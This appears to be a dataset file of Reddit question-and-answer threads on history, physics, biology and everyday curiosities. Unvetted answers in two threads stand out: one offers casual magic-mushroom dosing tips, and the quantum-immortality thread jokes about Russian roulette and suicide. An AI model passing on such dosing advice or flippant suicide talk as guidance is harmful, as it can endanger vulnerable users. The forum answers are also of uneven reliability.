{"q_id": "362944", "title": "Who determined \"ages\" of civilization, such as \"Stone Age\", \"Atomic Age\", \"Information Age\".", "selftext": "Sort of crosspost to /r/askreddit (but the thread didn't yield much).   \nHow is it determined when an \"age\" has arrived? Are some \"ages\" established by a recognized standards-setting organization? Is there only one age at a time? Did the Atomic Age end when Sputnik heralded the Space Age?   \nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/362944/who_determined_ages_of_civilization_such_as_stone/", "answers": {"a_id": ["cra9uz9", "cra9x5h"], "score": [2, 3], "text": ["Historians do, atleast most of the time. These chronological categories are not foolproof, nor are they set in stone. They are merely tools to better understand history and to make it more workable. Keep in mind that many of these categories, and that includes fairly widely used terms like \"Middle ages\", are still subject to discussion within historical discourse.\n\nThese categories come into life when a historian tries to argue for their importance. If it's properly theorized and put forward in a convincing argument, it catches on and ultimatly finds it way into popular knowledge and general education. Obviously, both popular knowledge and general education are often lagging behind on academic concensus, which is why you'll get a lot of flak from historians for using certain dubious terms. For example, the term \"Dark Ages\" is still fairly popular outside of historical circles. However, no historian is going to use or support that term.\n", "These are arbitrary categories that people apply to themselves or to categories of the past. They are not \"natural\" and as a result have no firm rules or boundaries. \n\nI used Google Ngrams [to come up with an interesting chart about the self-definition of ages by technology in the 20th century, in English sources](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://blog.nuclearsecrecy.com/2012/08/17/the-end-of-the-nuclear-age/"]]}
{"q_id": "1fa0hs", "title": "Who first populated ancient Europe?", "selftext": "When did they first arrive? How did they differ from later people who migrated there?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fa0hs/who_first_populated_ancient_europe/", "answers": {"a_id": ["ca881qa", "ca8fp9q"], "score": [3, 5], "text": ["Cro-Magnon (or European Early Modern Humans which is the scientifically preferred term) are thought to be the first humans to inhabit Europe, and they are believed to have arrived on the continent roughly 40,000 years ago.  Homo heidelbergensis remains have been found in Spain that date back as far as 1.2 million years however. \n\nEdit: it was pointed out to me that Neanderthals were living in Europe for more than half a million years before Cro-Magnon arived.  Evidence of Neanderthals in Europe dates back to about 600,000 years ago on the continent.  Sorry about that.", "Europe has been populated long enough that to answer your question we have to address the fascinating/tedious (delete as preferred) question of what constitutes a human.\n\nAs most people know, humans evolved primarily in Africa. Our genus (*Homo*) appeared there two million years ago and includes several species (e.g. *Homo erectus*, *Homo neanderthalensis*, *Homo sapiens*) that can be considered human in the broadest sense and are either our direct ancestors or close evolutionary cousins. *Homo* left Africa and migrated to other parts of the world more than once: first there was *Homo erectus*, which beginning about 1.8 million years ago spread across Eurasia and evolved into a number of different regional species and subspecies. It took them a while to reach Europe, though; they show up in southern Europe ~~700,000 years ago (Gran Dolina, Spain)~~^* 1.2 million years ago (Sima del Elefante, Spain) and in northern Europe 500,000 years ago (Boxgrove, England). By this point the descendants of *Homo erectus* in Europe and Africa had become different enough from those in Asia to be considered a separate species: *Homo heidelbergensis*. The reason it took *Homo erectus/heidelbergensis* so long to get to Europe and the reason they only populated it sporadically was that in the era all this was happening (the Pleistocene) Europe was a lot colder and less hospitable than it is today. There were periodic ice ages that made northern Europe totally uninhabitable (because there was a glacier on top of it) for tens of thousands of years at a time, forcing the human inhabitants out and leading to the continent being repopulated multiple times from \"refuges\" in places like Spain. Migrating *Homo erectus* much preferred the band of warmer climates in southern Eurasia and spread there much more quickly. They made a go of Europe though, and by 100,000 years ago the  *Homo heidelbergensis* in Europe had again evolved into a distinct regional species, *Homo neanderthalensis*, which also managed to live successfully in cold climates across central Asia and Siberia.\n\nBut none of those earlier species in Europe were the direct ancestors of its modern human population. *Homo sapiens* evolved in Africa, from the population of *Homo heidelbergensis* there. About 200,000 years we see anatomically modern humans (i.e. they're physically indistinguishable from modern *Homo sapiens*) and we think they were fully behaviourally modern (just like us) by at least 40,000 years ago. All humans today descend from them, because beginning about 70,000 years ago they migrated out of Africa and replaced the existing populations of *Homo erectus* and *Homo erectus* descendants in other parts of the world. Again they moved much more quickly along the warm \"coastal route\" of southern Eurasia and had reached Australia before they ventured into chilly Europe 40,000 years ago. Then, for reasons that aren't widely agreed upon, they rapidly replaced the pre-existing Neanderthal population, which went extinct  \u2013 although we now know there was a small amount of interbreeding between *Homo sapiens* and *Homo neanderthalensis*.\n\nThe extent to which there were later large-scale migrations into Europe is up for debate. It looks fairly certain that there was a substantial movement of people from the Near East starting about 8,000 years ago and associated with the spread of farming, although it probably fizzled out in the northeast and northwest margins of Europe. Less certain is that there might have been a subsequent, smaller migration associated with the spread of Indo-European languages, possibly from the steppe region around the Black Sea. After that's it's a murky, confusing mass of interbreeding and large and small migrations into, out of, and within Europe (remember Europe is very much part of the greater Afro-Eurasian landmass \u2013 there's no particular obstacle to people moving between it and Africa and Asia). In any case, none of those later migrations would have replaced the pre-existing population to the extent that modern humans replaced Neanderthals, so we can be fairly certain that somewhere in the tangled mess that is human genealogy there's a continuous genetic link between modern Europeans and the *Homo sapiens* who arrived there 40,000 years ago.\n\n**TL;DR:** Take your pick. The first recognisably human species arrived in Europe about 700,000 ago, but they were eventually replaced by our ancestors migrating from Africa 40,000 years ago. Doubtless there were many large and small migrations later on, but modern Europeans are substantially descended from those that arrived 40,000 years ago.\n\n^* Edit: Apologies, I was [out of date](_URL_0_). Most of this is based on my undergrad palaeoanthropology courses, which were a few years ago now \u2013 it's damn hard to keep up with new fossils!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://dx.doi.org/10.1038/nature06815"]]}
{"q_id": "5btkvk", "title": "Was the French Resistance in WWII a terrorist group, and was the US then a state sponsor of terrorism?", "selftext": "The word terrorism is hard to define in our current era. As Bridgette Nacos writes in her book, \"Terrorism and Counterterrorism\" \"When public officials, the news media, and experts in the growing field of terrorism studies (what one observer has called \u201cterrorology\u201d) make definitional choices, the severity and the venues of violent deeds are not unequivocal guides.\" \n\nWas this group considered a terrorist group at the time, what did they accomplish that could have been seen as a terrorist act, and what did the US media portray the french resistance group as?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5btkvk/was_the_french_resistance_in_wwii_a_terrorist/", "answers": {"a_id": ["d9rrbqe"], "score": [14], "text": ["I actually am doing an Honors thesis regarding this subject so I'm glad I found this question! Anyway the word terrorism was first used in response to the Reign of Terror in France during the French Revolution. It was used by a journalist in the UK to describe what Robespierre, a terrorist, was doing to French civilians. The definition of the time was \"a person who abuses power through the threat of force.\" \nNow we also have to dig into the Franco-German Armistice of June 22 1940. According to Article X of the armistice France had to prevent not only its armed forces from undertaking hostilities against the Germans, but also the civilians. It directly states that citizens who do not listen are treated as insurgents by German troops. So in the eyes of the Germans yes these people were terrorists. \nVichy, the government of unoccupied France, was also seen as the legitimate government as 44 different countries sent ambassadors to Vichy. Since Vichy was viewed as the legitimate form of government and Vichy was operating under the armistice, the French Resistance would be viewed as insurgents by the government. \nBut this is where it gets kind of funky, the French people at first were heavily against the resistance instead preferring a long term plan to economically destroy the Germans since they couldn't do it militarily. This was termed \"Revanche\" or revenge and this term has been a big part of French relations with Germany since the Franco-Prussian war ended. Now the issue is, the French viewpoint began to change after the Spring of 1942. The reason is because of a mandatory work service called the Service Travail Obligatoire, or STO. Basically this law forced young French men to go and work Germany's factories. It was a labor draft essentially, and if you didn't go and they found out, death to you, your family, and everyone else. This royally pissed off the French and many people in the rural areas of France ran to go join what was called the Maquis, or basically the Resistance. The French people finally began to support them and they were called by the French people as resistors. So basically legally they were insurgents, socially after 1942 they were resistors, freedom fighters if you will. \nNow as to what they did that would have been seen as a terrorist act...well there were so many things that these people did. They stole from the Germans, they stockpiled weapons, they messed up train schedules, they hid all the art from the Louvre, cut telephone lines, bombed train rails (this is my specialty), and messed up a ton of other stuff. All of these could have been seen as terrorist acts, especially prior to 1942. This is because the major part of the resistance were communists before the STO. So most people would have viewed these acts as terrorism. In fact there are posters in German and French basically telling the French people to report any suspicious activity in order to get French terrorists. \nNow the US had sent an embassy to Vichy France. This means that they did not view the Resistance or the Free French headed by De Gaulle in London as the legitimate government. In November of 1942 Vichy cut diplomatic ties with the US after the US invasion of North Africa. So obviously, since they were invading North Africa and fighting the Germans who Vichy was allied with they weren't necessarily appreciating Vichy rule. However, legally they were diplomatically recognizing Vichy and making the Resistance illegal until the US formally recognized the FCNL, which was the Resistance led by de Gaulle and Henri Giraud based in North Africa, in 1943. By this point the Vichy government had all but collapsed since Germany began to occupy the land Vichy was supposed to control. This made the Franco-German Armistice invalid which also made all agreements including the reference to civilian resistors as insurgents. So because the US waited until after 1942 which was also when the French public opinion changed, I feel that they were not a state sponsor of terrorism. The recognition of the FCNL was also only limited. I haven't researched anything about US media portrayal of the Resistance, but I feel that they would have created an image of freedom fighters. \nNow as to the difference between insurgents and terrorists, it's a matter of debate, but to my understanding insurgents can use terrorism as a method of complementing their political agenda. But the resistance would have been specifically targeted towards the German occupiers. So to the Germans yes they were. For everybody else it's a matter of what point in time you want to look at. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cowbla", "title": "whats bad about shrooms", "selftext": "Right now I am on vacation in Amsterdam and the thought of shrooms effect on your health never crossed my mind till now. I mean there must be something negative.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cowbla/eli5_whats_bad_about_shrooms/", "answers": {"a_id": ["ewlkk1w", "ewlkwt2", "ewllcfp", "ewln8wu", "ewlnwtp", "ewlosul", "ewlpqck", "ewm5ppd"], "score": [19, 62, 11, 4, 5, 2, 2, 2], "text": ["The main risk that we know of with any psychedelic or hallucinogen is that if the person using it has any underlying psychological issues like paranoia or schizophrenia then they can be exacerbated by using those substances.", "They aren't a health hazard by themselves, it's that they bring you into a mental state where you can make very bad decisions. Combining them with other drugs or alcohol can make it more dangerous, both for yourself as to others. There have been some incidents of people jumping from windows, blindly running into traffic or simply getting lost on the streets and eventually getting robbed (or specifically for Amsterdam: falling into a canal). That's why it's important to use them in a safe environment, preferably at home or in a quiet outside location with a sober 'guide' or 'sitter' that can fix things before it turns into a bad situation. There's also the risk of a bad trip (basically getting stuck in intensely bad mood or even panic), so doing it by yourself or with people you don't like or trust can also be a very negative experience if there's no one who can help you out of it. Another tip: have some candy or fruit available as sugar helps to bring you down a bit when it gets too intense. And never take an extra portion because 'you feel nothing', better to just do it again some other time with a slightly higher dose.", "This isn\u2019t going to be a great explanation but it should point you in the right direction. Professor David Nutt is a leading expert on drugs that affect the brain. He wrote a very informative book, \u201cdrugs without the hot air\u201d\nIn that book he outlines the harms of most recreational drugs, both physically to the user  &  to others. He (and a team of experts) created a great [graph](_URL_0_) detailing this info. \n\nShrooms score lowest. \n\nI know I haven\u2019t answered your question as best possible, but hopefully given you some food for thought. \n\nRegarding actual harm, it is very very low. Just don\u2019t be an idiot  &  drive on them. \n\nFYI they can take a little while to kick in. Be aware not to mix with too much weed / alcohol. \n\nHope this helps.", "They're not inherently dangerous if correctly identified  &  used in a comfortable, relatively quiet place by themselves (and perhaps an anti-emetic beforehand). Recommendations for all psychadelics - Avoid if you have family history of schizophrenia or psychosis. Try to have a sober friend nearby and be cautious with your first dose. You'll probably find [r/shrooms](_URL_0_) a handy mycological resource.", "Just take them seriously. \n\nIt can go from one of the most beautiful experiences to something a little too overwhelming pretty quickly if you aren't comfortable physically, mentally, psychologically, ect. \n\nJust park your ass somewhere safe or nearby somewhere you can retreat to if needed.", "The experience can cause a state of mind that can be traumatizing.  I've had experiences that left me with anxiety and depression for quite a while... because I was not prepared and took too much.", "If you aren\u2019t in a good headspace or mental state, it can make for a really bad experience.\n\nLike, if you are batting any demons (figuratively), or have anything underlying depression issues, even if you think you have it all under control, shrooms can bring them all out to the surface, which can make for a miserable experience.", "Nothing dude, just don't eat too many. Pop a couple caps and a stem and see where that gets you and go from there. Eat some more if you want to or if you're too high wait it out for a while. Stems to coast, caps to get higher."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.bbc.co.uk/news/uk-11660210"], ["reddit.com/r/shrooms"], [], [], [], []]}
{"q_id": "4mxw9v", "title": "why can the us afford a fleet of 70 nuclear subs for military purposes (though they have never seen combat) but cannot afford to build a nuclear submarine dedicated to scientific use?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mxw9v/eli5_why_can_the_us_afford_a_fleet_of_70_nuclear/", "answers": {"a_id": ["d3z70vx", "d3z8k8v", "d3zarza"], "score": [5, 3, 2], "text": [" >  given how many nuclear military submarines we have that go essentially unused except to intimidate.\n\nThese belong to the military and contains proprietary and classified technology. They won't lend them out.\nAnd they're expensive to build so any non-military organisation has to come up with its own funding. ", "It's not that we can't, we must don't prioritize science enough to find the project. The government is also super wary of giving nuclear technology to civilians.", "For the most part, there's just no need for it to be nuclear powered\n\nMilitary Nuclear subs are nuclear for a few reasons\n\n1. Lots of power for your motors: military subs need to be fast\n2. Lots of endurance, so you don't have to keep popping up to the surface for air and fuel\n3. Related to #2, stealth - the less time you spend on the surface, the less chance your adversaries have of tracking you\n\n1 and 3 are entirely irrelevant for a scientific sub: you don't need to be fast, nor do you care about hiding from the pesky commies. With regards to #2, endurance is useful, but you don't need \"6 months without surfacing\" endurance like a military sub.\n\nSo overall, the three things that nuclear really does well, you don't need. Sure, it would be *nice* to be super-fast and have 6 months endurance, but for the amount of cost and risk that comes from a nuclear sub, it's really not worth it. For scientific subs, then, we prefer to save money, reduce the risk, and accept that we're slightly more limited in endurance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vwa6d", "title": ". what is the 'god particle,' and why is it important?", "selftext": "With the recent news stories about the possible discovery of the Higgs boson particle, I realized I have no idea why that discovery is a big deal. Please help!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vwa6d/eli5_what_is_the_god_particle_and_why_is_it/", "answers": {"a_id": ["c586je2", "c586mm6", "c5883m4"], "score": [42, 15, 9], "text": ["First, 'God particle' is a stupid name with no meaning that exists only for news articles to make flashy titles.\n\nOther than that, the Higgs boson is very important as it's the last big undiscovered part of our 'standard model' of particle physics. This model, and its associated mathematics, has been tremendously successful - an almost perfect description of all of particle physics. It will be an amazing feat of science to finally confirm this part. Or, if we don't find it, we have to go back to the drawing board for where mass comes from.\n\nNow, discovering the Higgs boson won't immediately change your life or anything. Instead, it's part of a large set of scientific advancements in understanding which, as a whole, contribute to developments that directly affect your life. It's impossible to say exactly what we might do in the future, or what understanding we might need, but generally improving our understanding of everything has always been a good start.", "Physics is a bit like Sodoku and similiar puzzles. You make lots and lots of guesses, because they seem to make sense and everything fits together.\n\nBut you don't always know if you are correct. You can't get a certain piece confirmed. You can't just guess, too much relies on it. But you have your ideas. If you can confirm it, you can solve pretty much the entire thing.\n\nThe Higgs boson is a bit like that. It's a piece we can't confirm, but we think it's there. If we can confirm it exists, our model of phsyics is essentially confirmed.\n\nIf it's proven to not exist, proven to be false, we have to start over with large pieces of our current science.", "It was called the 'goddamned particle' first and then it was shortened to 'the god particle'  from L. Lederman."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8e6r4h", "title": "why are americans so prude compared to europeans? is there a historical reason?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8e6r4h/eli5_why_are_americans_so_prude_compared_to/", "answers": {"a_id": ["dxstjvv", "dxstlgk"], "score": [3, 2], "text": ["America was settled early by [puritan](_URL_0_)  settlers.  They had a very strict moral code. \nConsequently it has influenced American culture even to this day.", "We were largely founded by the puritans and quakers. People who think you basically need to be miserable in order to go to heaven. Bland food, hard work, sex for reproduction not pleasure.\n\nIn essence. Strict religious foundations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Puritans"], []]}
{"q_id": "eis280", "title": "what exactly is graphic design and how is it any different from animation/drawing?", "selftext": "I've always associated graphic design with advertising and how the appearance of words are changed.\nBut I'm still confused, is drawing/animation and graphic design the same thing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eis280/eli5_what_exactly_is_graphic_design_and_how_is_it/", "answers": {"a_id": ["fct5kzd", "fct72q4", "fcuwd3f"], "score": [3, 10, 2], "text": ["Graphic design has a lot of theory behind it, especially if one is specializing in UI/UX. You need to be very aware of who you're designing for, especially populations with different requirements (like color-blindness) and cultural requirements (what colors represent to different cultures).\n\nGraphic design is used in many different specialties: computer OS UI, websites, game I terfaces, etc.", "Graphic design is the study of conveying information visually. This can be on the web, it can be through signs, posters, or through any visual methods. For instance, logos for companies are also often created by graphic designers. It is certainly a part of sales and marketing, advertising, etc, but that's not anywhere near all that graphic design encompasses.", "I suggest searching a small youtube series called: Good design, Bad design!! Its very well done and insighful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5imp8o", "title": "why do humans click our tongues at animals?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5imp8o/eli5_why_do_humans_click_our_tongues_at_animals/", "answers": {"a_id": ["db9dlai"], "score": [2], "text": ["It's a sharp sound that carries relatively well. Grabs the animal's attention and gets it to focus on you.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "doxk82", "title": "Can someone explain the spontaneity of time symmetry breaking in the Lukin and Monroe time crystal experiments?", "selftext": "As I understand it:\nIn both experiments, there was a drive (lasers in Monroe's, microwave pulses in Lukin's) that causes a change in spin state of a system (Monroe: a chain of ytterbium ions; Lukin: defects in a diamond). In both cases, the spin states of these systems revert back to their original state. However, the drives were periodically applied, and the resulting spin state oscillation did not match the periodicity of the drive, but oscillated at 1/2 or 1/3 the frequency.\n\n(I may have misunderstood this - I'm a biologist, not a physicist. Please correct me if so).\n\nWhat I don't understand is - if the periodicity of these systems is a result of the periodicity of the drive, and not a product of the systems themselves under specific conditions, why is this *spontaneous* breaking of time symmetry?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/doxk82/can_someone_explain_the_spontaneity_of_time/", "answers": {"a_id": ["f5rrhu7"], "score": [17], "text": ["A priori, continuous time translation symmetry is broken by the drive to a discrete time symmetry with period T. To say that the remaining discrete time translation symmetry is spontaneously broken is to say that the Hamiltonian (which governs the evolution of the system) still has time translation symmetry with period T (i.e. H(t+T)=H(t)), but the *state* of the system only obeys a lower symmetry, in this case |\\psi(t+NT) > =l\\psi(t) > . We then would say that the time translation symmetry with period T was spontaneously broken to a time translation symmetry with period NT."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1xdz0r", "title": "If the strawberry plant reproduces asexually and creates what is essentially an exact genetic clone of itself, why are they all different shapes and sizes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xdz0r/if_the_strawberry_plant_reproduces_asexually_and/", "answers": {"a_id": ["cfam482"], "score": [4], "text": ["It is mostly due to differences in their environment that make them develop differently (for much the same reason that identical twins don't look exactly identical). As an example, even in the same field/area one plant may get a bit more sunlight, a bit more nutrients, and a bit less moisture than another. Even small, cellular-level variation can build up and cause larger-scale changes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "buz19h", "title": "what causes an object/atom to begin accelerating due to gravity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/buz19h/eli5_what_causes_an_objectatom_to_begin/", "answers": {"a_id": ["epjhu2e", "epjo6lw", "epjpae5", "epjri1l", "epjtxqf"], "score": [5, 6, 2, 3, 3], "text": ["The basic answer is that we don't know what is physically happening to the atom, we can set up models describing what is happening and theories as to why, but the actual how still is unknown.", "Not a physicist, but I think you answered it yourself - it's caused by / due to gravity. It's a fundamental force, and if you can reduce that to a more basic interaction, you'll likely get yourself a Nobel Prize.\n\n_URL_0_\n >  In physics, the fundamental interactions, also known as fundamental forces, are the interactions that do not appear to be reducible to more basic interactions. There are four fundamental interactions known to exist: the gravitational and electromagnetic interactions, which produce significant long-range forces whose effects can be seen directly in everyday life, and the strong and weak interactions, which produce forces at minuscule, subatomic distances and govern nuclear interactions. Some scientists[1][2][3] hypothesize that a fifth force might exist, but the hypotheses remain speculative.", "Spacetime is bent by anything with mass. For an object to ignore that is like standing on a frictionless steep slope and not rolling down. You've never stopped respecting/observing/experiencing gravity. You've just encountered something beneath you with enough upward force to resist it.", "Science is still to come up with a full explanation of gravity, so you\u2019ll be joining a race that extends back to Newton and beyond, trying to come up with an answer. The best explanation we have so far is that \u201cspace isn\u2019t fixed: everything on the stage that is space-time affects the stage itself\u201d. Basically, objects that have mass (e.g. everything that is physical matter) exert a slight bending on this stage, which pulls other things that have mass towards them. Each atom  distorts the stage ever so slightly, but equal masses do it in equal amounts. More mass, more distortion. The more it\u2019s distorted, the more it \u201cpulls\u201d on other matter in the surrounding area. Like a whirlpool in a lake. The bigger the whirlpool, the bigger the pull on the surrounding water. And anything caught up in that water gets pulled into the whirlpool too.\n\nAll this is based off of observations, but no model we can come up with using our current understanding of the physical model of particles can explain it.\n\nHappy to elaborate and discuss if you have more questions :)", "First note: this may or may not be relevant to your understanding, but space, and more importantly spacetime, is not cartesian. It is warped by energy and matter.\n\n & #x200B;\n\nAll objects follow a path through spacetime. If they aren't affected by any forces (gravity, here, doesn't count), they follow a straight path. The warping of spacetime is what causes what we perceive as gravity; spacetime is distorted in such a way that a straight line in spacetime means that when you just look at space, the point determined by that straight line is accelerating."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Fundamental_interaction"], [], [], []]}
{"q_id": "3175uj", "title": "I live at roughly the 45th parallel (N). How is possible that the sun can shine on the north side of a building?", "selftext": "As the title suggests, I live roughly halfway between the equator and the North Pole.  Certainly well above the Tropic of Cancer. \n\nDuring the summer, I've noticed that first thing in the morning and again at sunset, the sun is rising/setting north of due east/west.  How is this possible?  I've checked to confirm that the streets I'm driving down are pretty much due east/west, and they are.\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3175uj/i_live_at_roughly_the_45th_parallel_n_how_is/", "answers": {"a_id": ["cpz12wa", "cpz4l1h", "cpz80td", "cpzn622"], "score": [13, 3, 36, 3], "text": ["Due to the tilt of the earth the sun only appears to rise/set due east/west on the vernal and autumnal equinox.\n\nIn the summer the sun rises north of east and in the winter it will rise south of east.\n\nThe maximum for each is reached on the summer and winter solstices ", "Because in the summer, the sun rises and sets well north of east. In fact, if you go far enough south (think Florida), in midsummer the north side of buildings actually receives more solar energy during the day than the south side!", "[Here](_URL_0_) is a very rough image I drew in paint trying to explain it. It has to do with the fact that the Earth is tilted, which means that you are actually changing your position relative to that of the sun.\n\nHopefully the picture will explain it. Try to imagine yourself moving along the green line as the Earth rotates.\n\nAlso, I'm bad with paint so if you have any question please ask.\nEdit: A note for my drawing, where I said \"Sun is directly overhead\" I misspoke. It's not straight up, it's just neither North or South in the sky, it's right along the East/West axis.", "What you need is a globe a small house(lego block)  and a flashlight... \n\nSet it up... Flashlight shines on earth. Place house on 45N. Have North Pole titled towards light. Turn off room lights. Rotate earth.\n\nAs the house hits sunrise and sunset you'll see that there is light on its north side.\n\nTilt np away from sun and this doesn't happen. \n\nScience.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://imgur.com/MjZLLwD"], []]}
{"q_id": "sao40", "title": "quantum suicide and immortality", "selftext": "I read the wiki, didn't understand it that much (I got bits and pieces but am confused to what it really is)\n\nIt has been asked on ELI5 before but the guy deleted his post which I never got to see.\n\nEdit: wow, went to a wedding and came back 13 hours later to see my post has lots of responses (which I have all read) thanks a lot, I think I really understand it now.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/sao40/eli5_quantum_suicide_and_immortality/", "answers": {"a_id": ["c4chmzr", "c4chobf", "c4chtqc", "c4chx9c", "c4ci24o", "c4ciac3", "c4cj9l8", "c4cjov9", "c4ck7zw", "c4cpds4", "c4cq9oo"], "score": [116, 137, 5, 6, 2, 4, 2, 3, 3, 2, 2], "text": ["The idea is that everything that can happen, will happen. Say that I get to a crossroads. I could go left, and I could go right. Quantum mechanics dictate that (in theory) both happen. There is a universe where I go left, and there is one where I go right (there is also one where I turn back, or stand still, and every scenario imaginable). Seeing as this is the case, if I were to commit suicide, there will always be a universe in which I fail in some way. Every time I die, there is a universe I survive in. Therefore, in 'some' universe, I must be immortal.", "You have to remember that it is a thought experiment so you will need to go back and forth a bit.\n\nSo you are in a room and a photon's spin is measured every 10 seconds. The measuring device will kill fire the gun if it's going clockwise and the measuring device will not fire the gun if it's going anticlockwise.\n\nThe first measurement happens.  It's anticlockwise.  So you have survived.  And the second measurement happened.  It's also anticlockwise.  This could theoretically keep going.  You could go through a million iterations and still survive, despite this being such an improbable thing.  \n\nHowever, the many-world interpretation says that each time this measurement occurs, the universe is split into a universe where it was clockwise and a universe where it was anticlockwise.  So to the you right now, you think that you have survived.  But you died in another universe where the spin was clockwise. \n\nSo that means even if you do die in this universe, you will be alive in another universe, and you can keep getting the device to measure the spin of photons and it can keep saying that it's anticlockwise, where you are immortal. \n\n\nWhat this thought experiment is saying, is that in this universe, where you survived 1 million times, you are conscious of having survived. That means that you are aware that there are universes other than this one in which you did die.  ", "bit simplified, roll a dice if its 6 you pull the trigger and kill yourself if not you roll again , now technically you could roll forever but its quite unlikely that after a thousand rolls you still haven't rolled 6.\n\nbut what if there were more people to try it, what if there were a million people rolling, then the chance that at least one of them doesn't roll 6 in a thousand increases \n\nnow he says that there is a version of you for every roll you make that doesn't get 6 so no matter how long you keep playing he will always stay alive", "But if you fail to kill yourself, wouldn't you still die to natural causes?", "One thing I don't understand about this, does it only work for extreme scenarios, such as suicide? \n\nI was thinking is there a universe where I'm working in a different place, or I'm studying elsewhere, because those were choices. Are we saying there's a universe for every posibility? Instead of shaking hands with a friend you kiss them, then you end up married with children, that sort of thing? \n\nIn theory, does all that happen?", "What is the question again? Ask me like we are five.", "The idea is that every single choice splits off multiple realities. In quantum suicide, using a gun for instance, in one reality the gun fires as I pull the trigger and I commit suicide. In another reality, the gun doesn't fire when I pull the trigger and I live. Maybe the gun jammed or something, but the point is that in one reality I die and in one reality I live. Now I take the reality in which I lived and do this experiment again. In another new reality I live, and in another new reality I die. This continues on and on and essentially means that in one reality I am always alive and thus immortal.", "People who believe in the many worlds interpretation of quantum mechanics should play russian roulette for obscene amounts of money. \n\nIn one universe they win and in all the others they leave rest of us alone.\n\n\"The quantum measurement problem refers to a set of people.\"", "looks like you have enough answers here to satisfy you.  I just wanted to throw my 2 cents in because it's a subject that's very close to my heart.  \n\nLooks like a lot of people stick with suicide and thought experiments.  I remember when I was about 11 years old, I was running home from my friend's house and didn't look before running across the street.  This truck missed me by inches.  I remember thinking \"wow, I almost died!\".  Fast forward to years later of adding up all these small instances where I \"almost died\".  It amazed me that over the course of someone's life, they can go without being in a serious accident or have all these \"near misses\".  While I was religious at the time, I had thought that maybe we're all in heaven already.  we're already dead.  It would explain all these \"near misses\".  Just statistically it didn't make sense to me.  How can I go this long without some crazy shit happening?  From there,  I created this view of heaven that I called \"the celebrity based heaven theory\"  ... which I'm sure there's something similar out there... but upon looking more and more into it, I found quantum immortality.  \n\nBasically, suicide experiments aside, the thought is that whenever you \"die\", for whatever reason, there's another earth out there somewhere in which you didn't die.  Which I could explain more but, as i said, looks like you have a lot of people explaining it already.\n\nwhenever i explain this to friends, they always say, \"but what about so-in-so who died... they obviously aren't immortal!\"  To which I would respond, \"well I think it's just the universe's way of saying they aren't needed in your life anymore.\"\n\nSo one day I want to write a movie where these two people are in a failing relationship and the only way to know if they are right for each other, and need to be in each others lives, is to commit suicide.  If quantum immortality is true, there's some universe out there where they both survive and live on happy lives... but.. at the same time, there's a world where she's going to his funeral and he to hers.  Should make an amazing ending. \n\nok, i rambled.  ", "Quantum immortality is a fallacy. It goes by the fact that everything that can happen does in some universe, which is true. But sooner or later there will not be ANY possible universe where you are still alive.", "Jesus did it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "416uw0", "title": "how is dzhokhar tsarnaev gonna pay the 101 million in restitution while on death row?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/416uw0/eli5_how_is_dzhokhar_tsarnaev_gonna_pay_the_101/", "answers": {"a_id": ["cz03uze"], "score": [5], "text": ["The idea behind that sort of restitution is generally not that it's all expected to be paid, but that if Tsarnaev somehow starts making lots of money such as from publishing an autobiography or somebody making a movie based on his life or something, the victims will profit from it instead of him or his heirs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
